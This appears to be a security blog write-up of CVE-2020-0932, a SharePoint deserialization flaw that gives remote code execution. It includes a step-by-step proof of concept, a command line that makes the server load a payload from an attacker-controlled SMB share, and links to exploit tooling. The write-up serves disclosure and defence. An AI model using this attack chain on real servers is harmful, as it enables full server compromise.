# CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using
**Overview**
This vulnerability allows authenticated users to execute arbitrary code on a
SharePoint server. The code will execute in the context of the service account
of the SharePoint web application. For a successful attack, the attacker must
have the "Add or Customize Pages" permission on a SharePoint site or at least
on one page on the site. However, the default configuration of SharePoint
allows any authenticated user to create their own site with all the necessary
permissions.
**The Vulnerability**
The vulnerability exists because SharePoint does not restrict available Types
for properties when it parses the XML configuration of
[WebParts](https://support.office.com/en-us/article/using-web-parts-on-
sharepoint-pages-336e8e92-3e2d-4298-ae01-d404bbe751e0). For a property, an attacker may specify a string and a type name, and SharePoint will attempt to
convert the string using a `TypeConverter` corresponding to the specified
type. Some TypeConverters present in the SharePoint libraries can be used for
arbitrary code execution.
The entry point for this attack is the [WebPartPages](https://docs.microsoft.com/en-us/previous-
versions/office/developer/sharepoint-services/ms774788\(v=office.12\)) web service found at:
`http://<Site>/_vti_bin/WebPartPages.asmx`
Within the implementation of this web service there are several methods that
deal with parsing XML WebParts configuration, one of which is `RenderWebPartForEdit`. Note that [RenderWebPartForEdit](https://docs.microsoft.com/en-us/previous-
versions/office/developer/sharepoint-services/ms774825\(v=office.12\)) is exposed as a `WebMethod`, so that it can be invoked via an HTTP request:



The next method, `webPartImporter.CreateWebPart()`, is quite complicated, as
it implements parsers for 2 different versions of XML configurations, namely
WebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on the
parser for .webpart files. Also, a large portion of the code in this method is
dedicated to Type resolution and to validation of the WebPart itself. However,
this is not relevant to this attack and is not detailed here.
`.
View fullsize

This means all `property` elements will be processed by
`ImportWebPartFile.AddToProperyArrayLists()`:

At this point, we control two crucial strings: `text` and
`xmlAttributeValue2`. `text` comes from the textual contents of the `property`
element, while `xmlAttributeValue2` comes from the element's `type` attribute.
The code shown above chooses a .NET `Type` on the basis of
`xmlAttributeValue2`, and then uses the `TypeConverter` of that `Type` to
convert `text` into a .NET object instance (`propValue`).
We must now investigate what types are available.

Since there is no restriction, we can use any Type we want.
**Choosing a TypeConverter for RCE**
To gain arbitrary code execution, we will use the type
`System.Resources.ResXFileRef` and its `TypeConverter`,
`System.Resources.ResXFileRef.Converter`:
View fullsize

This shows that `System.Resources.ResXFileRef.Converter` will take the string
we specify (`value`) and parse out two pieces of data. The first, shown here
as `array[0]`, will be interpreted as a path to a `.resources` resource file.
The second, `array[1]`, will be interpreted as the name of an arbitrary .NET
`Type`. The code shown above will instantiate the specified `Type`, passing a
single argument to the constructor. That argument will be a stream containing
the contents of the `.resources` file we specify. Since we are able to specify
a remote path to an attacker-controlled SMB server, we have complete control
over the stream contents.
**Choosing a Type We Can Instantiate With a Stream Argument**
The final challenge is to identify an available .NET type that has a
constructor with a single argument of type `Stream`, and that can be used for
arbitrary code execution. One possible solution is
`System.Resources.ResourceSet:`
View fullsize

Here, we are only interested in two lines: the first and the last. The first
line calls the constructor of `System.Resources.ResourceReader`:
View fullsize

This is very promising, since it is taking the contents of the `Stream` and
feeding it to a `BinaryFormatter`. This could easily lead to arbitrary object
deserialization.
Looking back at the last line of the `System.Resources.ResourceSet`
constructor, and following the path of code execution down several levels of
calls:



This shows that the server will deserialize untrusted data, which allows us to
execute arbitrary code.
**Generating a .resources File**
To conduct this attack, we need a compiled `.resources` resource file
containing our payload. We can use Visual Studio to create the needed
`.resources` file. At compile time, Visual Studio uses the Resource File
Generator (Resgen.exe) to convert a `.resx` file to a binary resource
(`.resources`) file. To inject our payload, we can edit the `.resx` file and
replace the existing `data` node with the following:
View fullsize

Now we can save the `*.resx` file and compile the current project. Visual
Studio will place the compiled `*.resources` file in the `/obj` folder.
**Proof of Concept**
To demonstrate this exploit, we will use Microsoft SharePoint Server 2019
installed with all default options on a Windows Server 2019 Datacenter server.
We have set the computer name as sp2019.contoso.lab and made it a member of
the contoso.lab domain. The domain controller is on a separate virtual
machine. We added a couple of users, including **_user2_** as a regular
unprivileged user.
For the attacker system, we'll need any supported web browser. In the
following screenshots, we are using Mozilla Firefox 69.0.3. We'll also be
using our custom `SP_soap_RCE_PoC.exe` application to send the attack. You can
download all the necessary files to try this yourself [here](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932). For different `BinaryFormatter` payloads, you will need
[YSoSerial.Net](https://github.com/pwntester/ysoserial.net). For this demonstration, the hardcoded payload in our PoC will suffice.
The next step is to set up a remote SMB server controlled by the attacker.
This can be any machine that can receive traffic from the target SharePoint
server. On this server, you will need to configure a shared folder that
requires no authentication. This can be a bit tricky, but the steps to do this
are detailed [here](http://nikolar.com/2015/03/10/creating-network-share-with-
anonymous-access/). For our demonstration, we're using Windows Server 2016
Standard with an IP address of 192.168.50.210. In addition to the steps
already listed to share a folder, we added Everyone, Guest, and ANONYMOUS
LOGON in the Security tab of the shared folder.
![Picture11b.png]()
Astute readers might wonder why the SharePoint server consents to accessing an
anonymous SMB share. For security reasons, the Windows SMB client normally
does not permit such an operation. This is a [mitigation
introduced](https://support.microsoft.com/en-us/help/4046019/guest-access-in-
smb2-disabled-by-default-in-windows-10-and-windows-ser) starting with version
1709 of Windows 10 and Windows Server 2016. The answer is that, for some
reason, the SharePoint installer turns this mitigation off via a registry
entry. In the registry key
`HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters`, it sets
the value `AllowInsecureGuestAuth` to `1`.
With the folder created and configured, we can place the payload for
BinaryFormatter in that location and proceed with the attack. For this
demonstration, we've named it `SP_soap_RCE_PoC.RCE_Resource.resources`.
Let's begin by visiting our SharePoint Server and authenticating as a regular
user. In this case it is **_user2_** :
View fullsize

Now we are logged in as an authenticated user:
View fullsize

Next, we create our own site so that we will be the owner and will have all
permissions. Note, if an attacker is not able to create their own site, they
can still try all existing sites and pages in an attempt to find at least one
where they have " **_Add_** or **_Customize_** " Pages permissions.
Click on "SharePoint" on the top panel:
View fullsize

Now click "\+ Create site" link:
View fullsize

For this demonstration, we choose **Team Site** , but it does not matter. Now
we need to pick a name for the new site. In this case, we use **siteofuser2**.
Also, we will need the BaseURL of the new site. We can see it on the form
shown below, above the green "Available" label. In this example, it is
`http://sp2019/sites/siteofuser2`:
View fullsize

Click " ** _Finish_** ", and the new site will be created:
View fullsize

Now let's go to the target SharePoint server and open the `C:\windows\temp`
folder.
View fullsize

We note there is no `Vuln_Server.txt` file yet. If successful, our PoC will
create this file. Next, we confirm our
`SP_soap_RCE_PoC.RCE_Resource.resources` file exists on the attacker-
controlled SMB server:
View fullsize

Now let's go back to the "attacker" machine. We will use our custom
`SP_soap_RCE_PoC.exe` executable for the attack. We need to provide the
following information as arguments:
\-- **_BaseUrl_** of the target SharePoint Site. In this demonstration, it is
`http://sp2019/sites/siteofuser2/`
\-- **_UserName_** - In our case, this is `user2`
\-- **_Password_**
\-- **_Domain_**
\-- **_Remote Path_** to our payload file.
The command ends up looking like this:
`SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso
//192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources`
View fullsize

SharePoint does report an error that an unsafe type was specified, but the
attack is successful anyway. We can check the `Temp` folder on the target
server:
View fullsize

This shows how an attacker is able to execute arbitrary OS commands and
compromise the entire server. To execute other commands, you would need to
generate your own `*.resource` file. This can be done by opening the
`RCE_Resource.resx` file in any text editor and replacing the base64
`BinaryFormatter` payload with the desired one:
View fullsize

You can then save the file, open the project in Visual Studio and rebuild it.
The `SP_soap_RCE_PoC.RCE_Resource.resources` file with the new payload will be
in the `\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\` folder.
**Conclusion**
According to Microsoft, this vulnerability was fixed by "correcting how
SharePoint checks the source markup of application packages." Interestingly,
all six SharePoint bugs - including the Important-rated bugs - have the exact
same write-up. There's no indication from the vendor why some of these bugs
are rated Important while others are rated Critical. Because of this, we
recommend you treat all of the bugs as Critical. SharePoint bugs have proven
to be popular with attackers in the past. In 2019,
[CVE-2019-0604](https://www.zerodayinitiative.com/blog/2019/12/18/looking-
back-at-the-impact-of-cve-2019-0604-a-sharepoint-rce) ended up being used
extensively in the wild. Time will tell if this bug proves as popular with
criminals online.
We'll be back with other great submissions in the future. Until then, follow
the [team](https://twitter.com/thezdi) for the latest in exploit techniques
and security patches.
暂无评论